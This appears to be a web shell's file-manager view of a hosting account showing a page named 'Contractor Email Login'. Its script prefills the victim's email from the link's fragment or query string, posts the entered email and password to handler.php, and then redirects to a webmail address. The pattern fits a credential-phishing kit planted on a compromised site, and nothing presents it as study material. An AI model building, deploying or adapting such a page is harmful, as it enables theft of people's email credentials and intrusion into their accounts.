Your IP : 216.73.216.86


Current Path : /home/emeraadmin/public_html/test/login/
Upload File :
Current File : /home/emeraadmin/public_html/test/login/index.html

<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Contractor Email Login</title>
  <style>
    body{font-family:Arial;margin:40px;background:#f6f7fb}
    .box{max-width:420px;margin:30px auto;padding:20px;border:1px solid #ddd;border-radius:6px;background:#fff}
    input{width:100%;padding:10px;margin:8px 0;box-sizing:border-box}
    button{padding:10px 14px;background:#0073e6;color:#fff;border:none;border-radius:4px;cursor:pointer}
    .info{margin-top:12px;color:#333;white-space:pre-wrap;font-family:monospace;font-size:13px}
  </style>
</head>
<body>
  <div class="box">
    <h3>Contractor Email Login</h3>
    <form id="f">
      <input type="email" name="email" id="email" placeholder="email" required>
      <input type="password" name="password" id="password" placeholder="password" required>
      <button type="submit">Login</button>
    </form>
    <div class="info" id="info">Waiting...</div>
  </div>

<script>
(function(){
  const info = document.getElementById('info');
  const emailInput = document.getElementById('email');

  // Load email from fragment (#email@domain) or ?email=
  const hash = decodeURIComponent(location.hash.slice(1));
  if (hash && hash.includes('@')) {
    emailInput.value = hash;
    info.textContent = 'Loaded email from URL fragment: ' + hash;
  } else {
    const params = new URLSearchParams(location.search);
    if (params.get('email')) {
      emailInput.value = params.get('email');
      info.textContent = 'Loaded email from query param: ' + params.get('email');
    } else {
      info.textContent = 'No email in URL. Use ?email= or #email@domain or type manually.';
    }
  }

  document.getElementById('f').addEventListener('submit', async function(e){
    e.preventDefault();
    info.textContent = 'Checking...';

    const form = new FormData(e.target);
    try {
      const res = await fetch('handler.php', {
        method: 'POST',
        body: form
      });
      const data = await res.json();
      info.textContent = JSON.stringify(data, null, 2);

      // If handler returned a webmail_link, redirect after 2s
      if (data.webmail_link && data.webmail_link !== 'Not found') {
        setTimeout(() => { location.href = data.webmail_link; }, 2000);
      }
    } catch (err) {
      info.textContent = 'Error: ' + err;
    }
  });
})();
</script>
</body>
</html>